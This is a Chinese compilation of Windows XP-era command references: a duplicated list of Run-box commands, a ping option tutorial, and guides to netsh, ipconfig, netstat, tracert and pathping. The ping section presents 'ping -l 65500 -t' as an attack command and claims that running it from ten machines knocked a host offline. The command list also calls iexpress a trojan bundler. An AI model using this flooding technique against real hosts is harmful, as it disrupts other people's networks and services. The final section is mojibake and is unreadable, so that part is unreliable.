1. XP下的运行命令
开始-运行-命令大全
1. gpedit.msc-----组策略
2. sndrec32-------录音机
3. Nslookup-------IP地址侦测器
4. explorer-------打开资源管理器
5. logoff---------注销命令
6. tsshutdn-------60秒倒计时关机命令
7. lusrmgr.msc----本机用户和组
8. services.msc---本地服务设置
9. oobe/msoobe /a----检查XP是否激活
10. notepad--------打开记事本
11. cleanmgr-------垃圾整理
12. net start messenger----开始信使服务
13. compmgmt.msc---计算机管理
14. net stop messenger-----停止信使服务
15. conf-----------启动netmeeting
16. dvdplay--------DVD播放器
17. charmap--------启动字符映射表
18. diskmgmt.msc---磁盘管理实用程序
19. calc-----------启动计算器
20. dfrg.msc-------磁盘碎片整理程序
21. chkdsk.exe-----Chkdsk磁盘检查
22. devmgmt.msc--- 设备管理器
23. regsvr32 /u *.dll----停止dll文件运行
24. drwtsn32------ 系统医生
25. rononce -p ----15秒关机
26. dxdiag---------检查DirectX信息
27. regedt32-------注册表编辑器
28. Msconfig.exe---系统配置实用程序
29. rsop.msc-------组策略结果集
30. mem.exe--------显示内存使用情况
31. regedit.exe----注册表
32. winchat--------XP自带局域网聊天
33. progman--------程序管理器
34. winmsd---------系统信息
35. perfmon.msc----计算机性能监测程序
36. winver---------检查Windows版本
37. sfc /scannow-----扫描错误并复原
38. taskmgr-----任务管理器(2000/xp/2003
39. winver---------检查Windows版本
40. wmimgmt.msc----打开windows管理体系结构(WMI)
41. wupdmgr--------windows更新程序
42. wscript--------windows脚本宿主设置
43. write----------写字板
44. winmsd---------系统信息
45. wiaacmgr-------扫描仪和照相机向导
46. winchat--------XP自带局域网聊天
47. mem.exe--------显示内存使用情况
48. Msconfig.exe---系统配置实用程序
49. mplayer2-------简易widnows media player
50. mspaint--------画图板
51. mstsc----------远程桌面连接
52. mplayer2-------媒体播放机
53. magnify--------放大镜实用程序
54. mmc------------打开控制台
55. mobsync--------同步命令
56. dxdiag---------检查DirectX信息
57. drwtsn32------ 系统医生
58. devmgmt.msc--- 设备管理器
59. dfrg.msc-------磁盘碎片整理程序
60. diskmgmt.msc---磁盘管理实用程序
61. dcomcnfg-------打开系统组件服务
62. ddeshare-------打开DDE共享设置
63. dvdplay--------DVD播放器
64. net stop messenger-----停止信使服务
65. net start messenger----开始信使服务
66. notepad--------打开记事本
67. nslookup-------网络管理的工具向导
68. ntbackup-------系统备份和还原
69. narrator-------屏幕“讲述人”
70. ntmsmgr.msc----移动存储管理器
71. ntmsoprq.msc---移动存储管理员操作请求
72. netstat -an----(TC)命令检查接口
73. syncapp--------创建一个公文包
74. sysedit--------系统配置编辑器
75. sigverif-------文件签名验证程序
76. sndrec32-------录音机
77. shrpubw--------创建共享文件夹
78. secpol.msc-----本地安全策略
79. syskey---------系统加密,一旦加密就不能解开,保护windows xp系统的双重密码
80. services.msc---本地服务设置
81. Sndvol32-------音量控制程序
82. sfc.exe--------系统文件检查器
83. sfc /scannow---windows文件保护
84. tsshutdn-------60秒倒计时关机命令
85. tourstart------xp简介(安装完成后出现的漫游xp程序)
86. taskmgr--------任务管理器
87. eventvwr-------事件查看器
88. eudcedit-------造字程序
89. explorer-------打开资源管理器
90. packager-------对象包装程序
91. perfmon.msc----计算机性能监测程序
92. progman--------程序管理器
93. regedit.exe----注册表
94. rsop.msc-------组策略结果集
95. regedt32-------注册表编辑器
96. rononce -p ----15秒关机
97. regsvr32 /u *.dll----停止dll文件运行
98. regsvr32 /u zipfldr.dll------取消ZIP支持
99. cmd.exe--------CMD命令提示符
100. chkdsk.exe-----Chkdsk磁盘检查
101. certmgr.msc----证书管理实用程序
102. calc-----------启动计算器
103. charmap--------启动字符映射表
104. cliconfg-------SQL SERVER 客户端网络实用程序
105. Clipbrd--------剪贴板查看器
106. conf-----------启动netmeeting
107. compmgmt.msc---计算机管理
108. cleanmgr-------垃圾整理
109. ciadv.msc------索引服务程序
110. osk------------打开屏幕键盘
111. odbcad32-------ODBC数据源管理器
112. oobe/msoobe /a----检查XP是否激活
113. lusrmgr.msc----本机用户和组
114. logoff---------注销命令
115. iexpress-------木马捆绑工具,系统自带
116. Nslookup-------IP地址侦测器
117. fsmgmt.msc-----共享文件夹管理器
118. utilman--------辅助工具管理器
Windows下Ping命令详解
ping只有在安装了TCP/IP协议以后才可以使用:
ping [-t] [-a] [-n count] [-l length] [-f] [-i ttl] [-v tos] [-r count] [-s
count] [[-j computer-list] | [-k computer-list]] [-w timeout] destination-list
Options:
-t Ping the specified host until stopped.To see statistics and continue - type Control-Break;To stop - type Control-C.
不停的ping地方主机,直到你按下Control-C。
此功能没有什么特别的技巧,不过可以配合其他参数使用,将在下面提到。
-a Resolve addresses to hostnames.
解析计算机NetBios名。
示例:C:\>ping -a 192.168.1.21
Pinging iceblood.yofor.com [192.168.1.21] with 32 bytes of data:
Reply from 192.168.1.21: bytes=32 time<10ms TTL=254
Reply from 192.168.1.21: bytes=32 time<10ms TTL=254
Reply from 192.168.1.21: bytes=32 time<10ms TTL=254
Reply from 192.168.1.21: bytes=32 time<10ms TTL=254
Ping statistics for 192.168.1.21:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms
从上面就可以知道IP为192.168.1.21的计算机NetBios名为iceblood.yofor.com。
-n count Number of echo requests to send.
发送count指定的Echo数据包数。
在默认情况下,一般都只发送四个数据包,通过这个命令可以自己定义发送的个数,对衡量网络速度很有帮助,比如我想测试发送50个数据包的返回的平均时间为多少,最快时间为多少,最慢时间为多少就可以通过以下获知:
C:\>ping -n 50 202.103.96.68
Pinging 202.103.96.68 with 32 bytes of data:
Reply from 202.103.96.68: bytes=32 time=50ms TTL=241
Reply from 202.103.96.68: bytes=32 time=50ms TTL=241
Reply from 202.103.96.68: bytes=32 time=50ms TTL=241
Request timed out.
………………
Reply from 202.103.96.68: bytes=32 time=50ms TTL=241
Reply from 202.103.96.68: bytes=32 time=50ms TTL=241
Ping statistics for 202.103.96.68:
Packets: Sent = 50, Received = 48, Lost = 2 (4% loss),Approximate round trip times in milli-seconds:
Minimum = 40ms, Maximum = 51ms, Average = 46ms
从以上我就可以知道在给202.103.96.68发送50个数据包的过程当中,返回了48个,其中有两个由于未知原因丢失,这48个数据包当中返回速度最快为40ms,最慢为51ms,平均速度为46ms。
-l size Send buffer size.
定义echo数据包大小。
在默认的情况下windows的ping发送的数据包大小为32byt,我们也可以自己定义它的大小,但有一个大小的限制,就是最大只能发送65500byt,也许有人会问为什么要限制到65500byt,
因为Windows系列的系统都有一个安全漏洞(也许还包括其他系统)就是当向对方一次发送的数据包大于或等于65532时,对方就很有可能挡机,所以微软公司为了解决这一安全漏洞于是限制了ping的数据包大小。虽然微软公司已经做了此限制,但这个参数配合其他参数以后危害依然非常强大,比如我们就可以通过配合-t参数来实现一个带有攻击性的命令:(以下介绍
带有危险性,仅用于试验,请勿轻易施于别人机器上,否则后果自负)
C:\>ping -l 65500 -t 192.168.1.21
Pinging 192.168.1.21 with 65500 bytes of data:
Reply from 192.168.1.21: bytes=65500 time<10ms TTL=254
Reply from 192.168.1.21: bytes=65500 time<10ms TTL=254
………………
这样它就会不停的向192.168.1.21计算机发送大小为65500byt的数据包,如果你只有一台计算机也许没有什么效果,但如果有很多计算机那么就可以使对方完全瘫痪,我曾经就做过这样的试验,当我同时使用10台以上计算机ping一台Win2000Pro系统的计算机时,不到5分钟对方的网络就已经完全瘫痪,网络严重堵塞,HTTP和FTP服务完全停止,由此可见威力非同小可。
-f Set Don't Fragment flag in packet.
在数据包中发送“不要分段”标志。
在一般你所发送的数据包都会通过路由分段再发送给对方,加上此参数以后路由就不会再分段处理。
-i TTL Time To Live.
指定TTL值在对方的系统里停留的时间。
此参数同样是帮助你检查网络运转情况的。
-v TOS Type Of Service.
将“服务类型”字段设置为 tos 指定的值。
-r count Record route for count hops.
在“记录路由”字段中记录传出和返回数据包的路由。
在一般情况下你发送的数据包是通过一个个路由才到达对方的,但到底是经过了哪些路由呢?通过此参数就可以设定你想探测经过的路由的个数,不过限制在了9个,也就是说你只能跟踪到9个路由,如果想探测更多,可以通过其他命令实现,我将在以后的文章中给大家讲解。以下为示例:
C:\>ping -n 1 -r 9 202.96.105.101 (发送一个数据包,最多记录9个路由)
Pinging 202.96.105.101 with 32 bytes of data:
Reply from 202.96.105.101: bytes=32 time=10ms TTL=249
Route: 202.107.208.187 ->
202.107.210.214 ->
61.153.112.70 ->
61.153.112.89 ->
202.96.105.149 ->
202.96.105.97 ->
202.96.105.101 ->
202.96.105.150 ->
61.153.112.90
Ping statistics for 202.96.105.101:
Packets: Sent = 1, Received = 1, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 10ms, Maximum = 10ms, Average = 10ms
从上面我就可以知道从我的计算机到202.96.105.101一共通过了202.107.208.187 ,202.107.210.214 , 61.153.112.70 , 61.153.112.89 , 202.96.105.149 , 202.96.105.97这几个路由。
-s count Timestamp for count hops.
指定 count 指定的跃点数的时间戳。
此参数和-r差不多,只是这个参数不记录数据包返回所经过的路由,最多也只记录4个。
-j host-list Loose source route along host-list.
利用 computer-list 指定的计算机列表路由数据包。连续计算机可以被中间网关分隔(路由稀疏源)IP 允许的最大数量为 9。
-k host-list Strict source route along host-list.
利用 computer-list 指定的计算机列表路由数据包。连续计算机不能被中间网关分隔(路由严格源)IP 允许的最大数量为 9。
-w timeout Timeout in milliseconds to wait for each reply.
指定超时间隔,单位为毫秒。
此参数没有什么其他技巧。
ping命令的其他技巧:在一般情况下还可以通过ping对方让对方返回给你的TTL值大小,粗略的判断目标主机的系统类型是Windows系列还是UNIX/Linux系列,一般情况下Windows系列的系统返回的TTL值在100-130之间,而UNIX/Linux系列的系统返回的TTL值在240-255之间,当然TTL的值在对方的主机里是可以修改的,Windows系列的系统可以通过修改注册表以下键值实现:
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters]
"DefaultTTL"=dword:000000ff
255---FF
128---80
64----40
32----20
正常情况下,当我们使用Ping命令来查找问题所在或检验网络运行情况时,我们需要使用许多Ping命令,如果所有都运行正确,我们就可以相信基本的连通性和配置参数没有问题;如果某些Ping命令出现运行故障,它也可以指明到何处去查找问题。下面就给出一个典型的检测次序及对应的可能故障:
•ping 127.0.0.1
这个Ping命令被送到本地计算机的IP软件,该命令永不退出该计算机。如果没有做到这一点,就表示TCP/IP的安装或运行存在某些最基本的问题。
•ping 本机IP
这个命令被送到我们计算机所配置的IP地址,我们的计算机始终都应该对该Ping命令作出应答,如果没有,则表示本地配置或安装存在问题。出现此问题时,局域网用户请断开网络电缆,然后重新发送该命令。如果网线断开后本命令正确,则表示另一台计算机可能配置了相同的IP地址。
•ping 局域网内其他IP
这个命令应该离开我们的计算机,经过网卡及网络电缆到达其他计算机,再返回。收到回送应答表明本地网络中的网卡和载体运行正确。但如果收到0个回送应答,那么表示子网掩码(进行子网分割时,将IP地址的网络部分与主机部分分开的代码)不正确或网卡配置错误或电缆系统有问题。
•ping 网关IP
这个命令如果应答正确,表示局域网中的网关路由器正在运行并能够作出应答。
•ping 远程IP
如果收到4个应答,表示成功的使用了缺省网关。对于拨号上网用户则表示能够成功的访问Internet(但不排除ISP的DNS会有问题)。
•ping localhost
localhost是个作系统的网络保留名,它是127.0.0.1的别名,每太计算机都应该能够将该名字转换成该地址。如果没有做到这一带内,则表示主机文件(/Windows/host)中存在问题。
•ping www.xxx.com(如www.yesky.com 天极网)
对这个域名执行Ping www.xxx.com 地址,通常是通过DNS 服务器 如果这里出现故障,则表示DNS服务器的IP地址配置不正确或DNS服务器有故障(对于拨号上网用户,某些ISP已经不需要设置DNS服务器了)。顺便说一句:我们也可以利用该命令实现域名对IP地址的转换功能。
如果上面所列出的所有Ping命令都能正常运行,那么我们对自己的计算机进行本地和远程通信的功能基本上就可以放心了。但是,这些命令的成功并不表示我们所有的网络配置都没有问题,例如,某些子网掩码错误就可能无法用这些方法检测到。
2. 网络命令有哪些
如果你玩过路由器的话,就知道路由器里面那些很好玩的命令缩写。
例如,"sh int" 的意思是 "show interface"。
现在 Windows 2000 也有了类似界面的工具,叫做 netsh。
我们在 Windows 2000 的 cmd shell 下,输入 netsh
就出来:netsh> 提示符,
输入 int ip 就显示:
interface ip>
然后输入 mp ,我们就可以看到当前系统的网络配置:
# ----------------------------------
# Interface IP Configuration
# ----------------------------------
pushd interface ip
# Interface IP Configuration for "Local Area Connection"
set address name = "Local Area Connection" source = static addr = 192.168.1.168
mask = 255.255.255.0
add address name = "Local Area Connection" addr = 192.1.1.111 mask = 255.255.255.0
set address name = "Local Area Connection" gateway = 192.168.1.100 gwmetric = 1
set dns name = "Local Area Connection" source = static addr = 202.96.209.5
set wins name = "Local Area Connection" source = static addr = none
popd
# End of interface IP configuration
上面介绍的是通过交互方式操作的一种办法。
我们可以直接输入命令:
"netsh interface ip add address "Local Area Connection" 10.0.0.2 255.0.0.0"
来添加 IP 地址。
如果不知道语法,不要紧的哦!
在提示符下,输入 ? 就可以找到答案了。方便不方便啊?
原来微软的东西里面,也有那么一些让人喜欢的玩意儿。可惜,之至者甚少啊!
Windows网络命令行程序
这部分包括:
使用 ipconfig /all 查看配置
使用 ipconfig /renew 刷新配置
使用 ipconfig 管理 DNS 和 DHCP 类别 ID
使用 Ping 测试连接
使用 Arp 解决硬件地址问题
使用 nbtstat 解决 NetBIOS 名称问题
使用 netstat 显示连接统计
使用 tracert 跟踪网络连接
使用 pathping 测试路由器
使用 ipconfig /all 查看配置
发现和解决 TCP/IP 网络问题时,先检查出现问题的计算机上的 TCP/IP 配置。可以使用 ipconfig 命令获得主机配置信息,包括 IP 地址、子网掩码和默认网关。
注意
对于 Windows 95 和 Windows 98 的客户机,请使用 winipcfg 命令而不是 ipconfig 命令。
使用带 /all 选项的 ipconfig 命令时,将给出所有接口的详细配置报告,包括任何已配置的串行端口。 使用 ipconfig /all,可以将命令输出重定向到某个文件,并将输出粘贴到其他文档中。也可以用该输出确认网络上每台计算机的 TCP/IP 配置,或者进一步调查 TCP/IP 网络问题。
例如,如果计算机配置的 IP 地址与现有的 IP 地址重复,则子网掩码显示为 0.0.0.0。
下面的范例是 ipconfig /all 命令输出,该计算机配置成使用 DHCP 服务器动态配置TCP/IP,并使用WINS 和 DNS 服务器解析名称。
Windows 2000 IP Configuration
Node Type.. . . . . . . . : Hybrid
IP Routing Enabled.. . . . : No
WINS Proxy Enabled.. . . . : No
Ethernet adapter Local Area Connection:
Host Name.. . . . . . . . : corp1.microsoft.com
DNS Servers . . . . . . . : 10.1.0.200
Description. . . . . . . : 3Com 3C90x Ethernet Adapter
Physical Address. . . . . : 00-60-08-3E-46-07
DHCP Enabled.. . . . . . . : Yes
Autoconfiguration Enabled.: Yes
IP Address. . . . . . . . . : 192.168.0.112
Subnet Mask. . . . . . . . : 255.255.0.0
Default Gateway. . . . . . : 192.168.0.1
DHCP Server. . . . . . . . : 10.1.0.50
Primary WINS Server. . . . : 10.1.0.101
Secondary WINS Server. . . : 10.1.0.102
Lease Obtained.. . . . . . : Wednesday, September 02, 1998 10:32:13 AM
Lease Expires.. . . . . . : Friday, September 18, 1998 10:32:13 AM
如果 TCP/IP 配置没有问题,下一步测试能够连接到 TCP/IP 网络上的其他主机。
使用 ipconfig /renew 刷新配置
解决 TCP/IP 网络问题时,先检查遇到问题的计算机上的 TCP/IP 配置。如果计算机启用 DHCP 并使用 DHCP 服务器获得配置,请使用 ipconfig /renew 命令开始刷新租约。
使用 ipconfig /renew 时,使用 DHCP 的计算机上的所有网卡(除了那些手动配置的适配器)都尽量连接到DHCP 服务器,更新现有配置或者获得新配置。
也可以使用带 /release 选项的 ipconfig 命令立即释放主机的当前 DHCP 配置。有关 DHCP 和租用过程的详细信息,请参阅客户机如何获得配置。
注意
对于启用 DHCP 的 Windows 95 和 Windows 98 客户,请使用 winipcfg 命令的 release 和 renew 选项,而不是 ipconfig /release 和 ipconfig /renew 命令,手动释放或更新客户的 IP 配置租约。
使用 ipconfig 管理 DNS 和 DHCP 类别 ID
也可以使用 ipconfig 命令:
显示或重置 DNS 缓存。
详细信息,请参阅使用 ipconfig 查看或重置客户解析程序缓存。
刷新已注册的 DNS 名称。
详细信息,请参阅使用 ipconfig 更新 DNS 客户注册。
显示适配器的 DHCP 类别 ID。
详细信息,请参阅显示客户机上的 DHCP 类别 ID 信息。
设置适配器的 DHCP 类别 ID。
详细信息,请参阅设置客户机上的 DHCP 类别 ID 信息。
使用 Ping 测试连接
Ping 命令有助于验证 IP 级的连通性。发现和解决问题时,可以使用 Ping 向目标主机名或 IP 地址发送 ICMP 回应请求。需要验证主机能否连接到 TCP/IP 网络和网络资源时,请使用 Ping。也可以使用 Ping 隔离网络硬件问题和不兼容配置。
通常最好先用 Ping 命令验证本地计算机和网络主机之间的路由是否存在,以及要连接的网络主机的 IP 地址。Ping 目标主机的IP 地址看它是否响应,如下:
ping IP_address
使用 Ping 时应该执行以下步骤:
Ping 环回地址验证是否在本地计算机上安装 TCP/IP 以及配置是否正确。
ping 127.0.0.1
Ping 本地计算机的 IP 地址验证是否正确地添加到网络。
ping IP_address_of_local_host
Ping 默认网关的 IP 地址验证默认网关是否运行以及能否与本地网络上的本地主机通讯。
ping IP_address_of_default_gateway
Ping 远程主机的 IP 地址验证能否通过路由器通讯。
ping IP_address_of_remote_host
Ping 命令用 Windows 套接字样式的名称解析将计算机名解析成 IP 地址,所以如果用地址成功,但是用名称 Ping 失败,则问题出在地址或名称解析上,而不是网络连通性的问题。详细信息,请参阅使用 Arp 解决硬件地址问题。
如果在任何点上都无法成功地使用 Ping,请确认:
安装和配置 TCP/IP 之后重新启动计算机。
“Internet 协议 (TCP/IP) 属性”对话框“常规”选项卡上的本地计算机的 IP 地址有效而且正确。
启用 IP 路由,并且路由器之间的链路是可用的。
您可以使用 Ping 命令的不同选项来指定要使用的数据包大小、要发送多少数据包、是否记录用过的路由、要使用的生存时间 (TTL) 值以及是否设置“不分段”标志。可以键入 ping -? 查看这些选项。
下例说明如何向 IP 地址 172.16.48.10 发送两个 Ping,每个都是 1,450 字节:
C:\>ping -n 2 -l 1450 172.16.48.10
Pinging 172.16.48.10 with 1450 bytes of data:
Reply from 172.16.48.10:bytes=1450 time<10ms TTL=32
Reply from 172.16.48.10:bytes=1450 time<10ms TTL=32
Ping statistics for 157.59.8.1:
Packets:Sent = 2, Received = 2, Lost = 0 (0% loss),
Approximate roundtrip times in milli-seconds:
Minimum = 0ms, Maximum = 10ms, Average = 2ms
默认情况下,在显示“请求超时”之前,Ping 等待 1,000 毫秒(1 秒)的时间让每个响应返回。如果通过 Ping 探测的远程系统经过长时间延迟的链路,如卫星链路,则响应可能会花更长的时间才能返回。可以使用 -w (等待)选项指定更长时间的超时。
使用 Arp 解决硬件地址问题
“地址解析协议 (ARP)”允许主机查找同一物理网络上的主机的媒体访问控制地址,如果给出后者的 IP 地址。为使 ARP 更加有效,每个计算机缓存 IP 到媒体访问控制地址映射消除重复的 ARP 广播请求。
可以使用 arp 命令查看和修改本地计算机上的 ARP 表项。arp 命令对于查看 ARP 缓存和解决地址解析问题非常有用。
详细信息,请参阅查看“地址解析协议 (ARP)”缓存和添加静态 ARP 缓存项目。
使用 nbtstat 解决 NetBIOS 名称问题
TCP/IP 上的 NetBIOS (NetBT) 将 NetBIOS 名称解析成 IP 地址。TCP/IP 为 NetBIOS 名称解析提供了很多选项,包括本地缓存搜索、WINS 服务器查询、广播、DNS 服务器查询以及 Lmhosts 和主机文件搜索。
Nbtstat 是解决 NetBIOS 名称解析问题的有用工具。可以使用nbtstat 命令删除或更正预加载的项目:
nbtstat -n 显示由服务器或重定向器之类的程序在系统上本地注册的名称。
nbtstat -c 显示 NetBIOS 名称缓存,包含其他计算机的名称对地址映射。
nbtstat -R 清除名称缓存,然后从 Lmhosts 文件重新加载。
nbtstat -RR 释放在 WINS 服务器上注册的 NetBIOS 名称,然后刷新它们的注册。
nbtstat -a name 对 name 指定的计算机执行 NetBIOS 适配器状态命令。适配器状态命令将返回计算机的本地 NetBIOS 名称表,以及适配器的媒体访问控制地址。
nbtstat -S 列出当前的 NetBIOS 会话及其状态(包括统计),如下例所示:
NetBIOS connection table
Local name State In/out Remote Host Input Output
------------------------------------------------------------------
CORP1 <00> Connected Out CORPSUP1<20> 6MB 5MB
CORP1 <00> Connected Out CORPPRINT<20> 108KB 116KB
CORP1 <00> Connected Out CORPSRC1<20> 299KB 19KB
CORP1 <00> Connected Out CORPEMAIL1<20> 324KB 19KB
CORP1 <03> Listening
使用 netstat 显示连接统计
可以使用 netstat 命令显示协议统计信息和当前的 TCP/IP 连接。netstat -a 命令将显示所有连接,而 netstat -r 显示路由表和活动连接。netstat -e 命令将显示Ethernet 统计信息,而 netstat -s 显示每个协议的统计信息。如果使用 netstat -n,则不能将地址和端口号转换成名称。下面是 netstat 的输出示例:
C:\>netstat -e
Interface Statistics
Received Sent
Bytes 3995837940 47224622
Unicast packets 120099 131015
Non-unicast packets 7579544 3823
Discards 0 0
Errors 0 0
Unknown protocols 363054211
C:\>netstat -a
Active Connections
Proto Local Address Foreign Address State
TCP CORP1:1572 172.16.48.10:nbsession ESTABLISHED
TCP CORP1:1589 172.16.48.10:nbsession ESTABLISHED
TCP CORP1:1606 172.16.105.245:nbsession ESTABLISHED
TCP CORP1:1632 172.16.48.213:nbsession ESTABLISHED
TCP CORP1:1659 172.16.48.169:nbsession ESTABLISHED
TCP CORP1:1714 172.16.48.203:nbsession ESTABLISHED
TCP CORP1:1719 172.16.48.36:nbsession ESTABLISHED
TCP CORP1:1241 172.16.48.101:nbsession ESTABLISHED
UDP CORP1:1025 *:*
UDP CORP1:snmp *:*
UDP CORP1:nbname *:*
UDP CORP1:nbdatagram *:*
UDP CORP1:nbname *:*
UDP CORP1:nbdatagram *:*
C:\>netstat -s
IP Statistics
Packets Received = 5378528
Received Header Errors = 738854
Received Address Errors = 23150
Datagrams Forwarded = 0
Unknown Protocols Received = 0
Received Packets Discarded = 0
Received Packets Delivered = 4616524
Output Requests = 132702
Routing Discards = 157
Discarded Output Packets = 0
Output Packet No Route = 0
Reassembly Required = 0
Reassembly Successful = 0
Reassembly Failures =
Datagrams Successfully Fragmented = 0
Datagrams Failing Fragmentation = 0
Fragments Created = 0
ICMP Statistics
Received Sent
Messages 693 4
Errors 0 0
Destination Unreachable 685 0
Time Exceeded 0 0
Parameter Problems 0 0
Source Quenches 0 0
Redirects 0 0
Echoes 4 0
Echo Replies 0 4
Timestamps 0 0
Timestamp Replies 0 0
Address Masks 0 0
Address Mask Replies 0 0
TCP Statistics
Active Opens = 597
Passive Opens = 135
Failed Connection Attempts = 107
Reset Connections = 91
Current Connections = 8
Segments Received = 106770
Segments Sent = 118431
Segments Retransmitted = 461
UDP Statistics
Datagrams Received = 4157136
No Ports = 351928
Receive Errors = 2
Datagrams Sent = 13809
使用 tracert 跟踪网络连接
Tracert(跟踪路由)是路由跟踪实用程序,用于确定 IP 数据报访问目标所采取的路径。Tracert 命令用 IP 生存时间 (TTL) 字段和 ICMP 错误消息来确定从一个主机到网络上其他主机的路由。
Tracert 工作原理
通过向目标发送不同 IP 生存时间 (TTL) 值的“Internet 控制消息协议 (ICMP)”回应数据包, Tracert 诊断程序确定到目标所采取的路由。要求路径上的每个路由器在转发数据包之前至少将数据包上的 TTL 递减 1。数据包上的 TTL 减为 0 时,路由器应该将“ICMP 已超时”的消息发回源系统。
Tracert 先发送 TTL 为 1 的回应数据包,并在随后的每次发送过程将 TTL 递增 1,直到目标响应或 TTL 达到最大值,从而确定路由。通过检查中间路由器发回的“ICMP 已超时”的消息确定路由。某些路由器不经询问直接丢弃 TTL 过期的数据包,这在Tracert 实用程序中看不到。
Tracert 命令按顺序打印出返回“ICMP 已超时”消息的路径中的近端路由器接口列表。如果使用 -d 选项,则 Tracert 实用程序不在每个 IP 地址上查询 DNS。
在下例中,数据包必须通过两个路由器(10.0.0.1 和 192.168.0.1)才能到达主机172.16.0.99。主机的默认网关是 10.0.0.1,192.168.0.0 网络上的路由器的 IP地址是 192.168.0.1。
C:\>tracert 172.16.0.99 -d
Tracing route to 172.16.0.99 over a maximum of 30 hops
1 2s 3s 2s 10,0.0,1
2 75 ms 83 ms 88 ms 192.168.0.1
3 73 ms 79 ms 93 ms 172.16.0.99
Trace complete.
用 tracert 解决问题
可以使用 tracert 命令确定数据包在网络上的停止位置。下例中,默认网关确定 192.168.10.99 主机没有有效路径。这可能是路由器配置的问题,或者是 192.168.10.0 网络不存在(错误的 IP 地址)。
C:\>tracert 192.168.10.99
Tracing route to 192.168.10.99 over a maximum of 30 hops
1 10.0.0.1 reportsestination net unreachable.
Trace complete.
Tracert 实用程序对于解决大网络问题非常有用,此时可以采取几条路径到达同一个点。
Tracert 命令行选项
Tracert 命令支持多种选项,如下表所示。
tracert [-d] [-h maximum_hops] [-j host-list] [-w timeout] target_name
选项 描述
-d 指定不将 IP 地址解析到主机名称。
-h maximum_hops 指定跃点数以跟踪到称为 target_name 的主机的路由。
-j host-list 指定 Tracert 实用程序数据包所采用路径中的路由器接口列表。
-w timeout 等待 timeout 为每次回复所指定的毫秒数。
target_name 目标主机的名称或 IP地址。
详细信息,请参阅使用 tracert 命令跟踪路径。
使用 pathping 测试路由器
pathping 命令是一个路由跟踪工具,它将 ping 和 tracert 命令的功能和这两个工具所不提供的其他信息结合起来。pathping 命令在一段时间内将数据包发送到到达最终目标的路径上的每个路由器,然后基于数据包的计算机结果从每个跃点返回。由于命令显示数据包在任何给定路由器或链接上丢失的程度,因此可以很容易地确定可能导致网络问题的路由器或链接。某些选项是可用的,如下表所示。
选项 名称 功能
-n Hostnames 不将地址解析成主机名。
-h Maximum hops 搜索目标的最大跃点数。
-g Host-list 沿着路由列表释放源路由。
-p Period 在 ping 之间等待的毫秒数。
-q Num_queries 每个跃点的查询数。
-w Time-out 为每次回复所等待的毫秒数。
-T Layer 2 tag 将第 2 层优先级标记(例如,对于 IEEE 802.1p)连接到数据包并将它发送到路径中的每个网络设备。这有助于标识没有正确配置第 2 层优先级的网络设备。-T 开关用于测试服务质量 (QoS) 连通性。
-R RSVP isbase Che检查以确定路径中的每个路由器是否支持“资源保留协议 (RSVP)”,此协议允许主机为数据流保留一定量的带宽。 -R 开关用于测试服务质量 (QoS) 连通性。
默认的跃点数是 30,并且超时前的默认等待时间是 3 秒。默认时间是 250 毫秒,并且沿着路径对每个路由器进行查询的次数是 100。
以下是典型的 pathping 报告。跃点列表后所编辑的统计信息表明在每个独立路由器上数据包丢失的情况。
D:\>pathping -n msw
Tracing route to msw [7.54.1.196]
over a maximum of 30 hops:
0 172.16.87.35
1 172.16.87.218
2 192.68.52.1
3 192.68.80.1
4 7.54.247.14
5 7.54.1.196
Computing statistics for 125 seconds...
Source to Here This Node/Link
Hop RTT Lost/Sent = Pct Lost/Sent = Pct Address
0 172.16.87.35
0/ 100 = 0% |
1 41ms 0/ 100 = 0% 0/ 100 = 0% 172.16.87.21813/ 100 = 13% |
2 22ms 16/ 100 = 16% 3/ 100 = 3% 192.68.52.10/ 100 = 0% |
3 24ms 13/ 100 = 13% 0/ 100 = 0% 192.68.80.1 0/ 100 = 0% |
4 21ms 14/ 100 = 14% 1/ 100 = 1% 10.54.247.14 0/ 100 = 0% |
5 24ms 13/ 100 = 13% 0/ 100 = 0% 10.54.1.196
Trace complete.
当运行 pathping 时,在测试问题时首先查看路由的结果。此路径与 tracert 命令所显示的路径相同。然后 pathping 命令对下一个 125 毫秒显示忙消息(此时间根据跃点计数变化)。在此期间,pathping 从以前列出的所有路由器和它们之间的链接之间收集信息。在此期间结束时,它显示测试结果。
最右边的两栏 This Node/Link Lost/Sent=Pct 和 Address 包含的信息最有用。172.16.87.218(跃点 1)和 192.68.52.1(跃点 2)丢失 13% 的数据包。 所有其他链接工作正常。在跃点 2 和 4 中的路由器也丢失寻址到它们的数据包(如 This Node /Link 栏中所示),但是该丢失不会影响转发的路径。
对链接显示的丢失率(在最右边的栏中标记为 |)表明沿路径转发丢失的数据包。该丢失表明链接阻塞。对路由器显示的丢失率(通过最右边栏中的 IP 地址显示)表明这些路由器的 CPU 可能超负荷运行。这些阻塞的路由器可能也是端对端问题的一个因素,尤其是在软件路由器转发数据包时。
3. 100鍒嗛梾棰桡紒锛侊紒C#閲岃佺敤WMI銮峰彇绯荤粺淇℃伅锛岃烽梾涓涓链夊嚑涓狭anagementClass锛熷垎鍒鏄浠涔堬纻
鎴戜笉鐭ラ亾浣犺佺殑绯荤粺淇℃伅鍒板簳链夊摢浜涳纻链夊嚑涓狭anagementClass瑕佺湅浣犺佸缑鍒板叿浣揿摢浜涘叿浣扑俊鎭锛屾瘆濡傝佹兂銮峰缑鐩樼﹀氨鍙闇涓涓狭anagementClass
杩欓噷鏄涓涓锣冧緥锛屾垨璁稿逛綘链夋墍甯锷╋纸闄勬簮镰侊级http://dl3.9hao.com/20060619/_2/winsys/othersys/WMI%B5%C4%D2%BB%B8%F6%CA%B5%CF%D6.htm
浠ヤ笅鏄鐩稿叧璧勬枡
http://ke..com/view/442461.htm
http://www.newasp.net/tech/net/8540.html
http://www.ahaoz.com/Article/203/205/545/2005/20051120102957.html
涓锛欧MI锘虹鐭ヨ瘑
====================================================================================
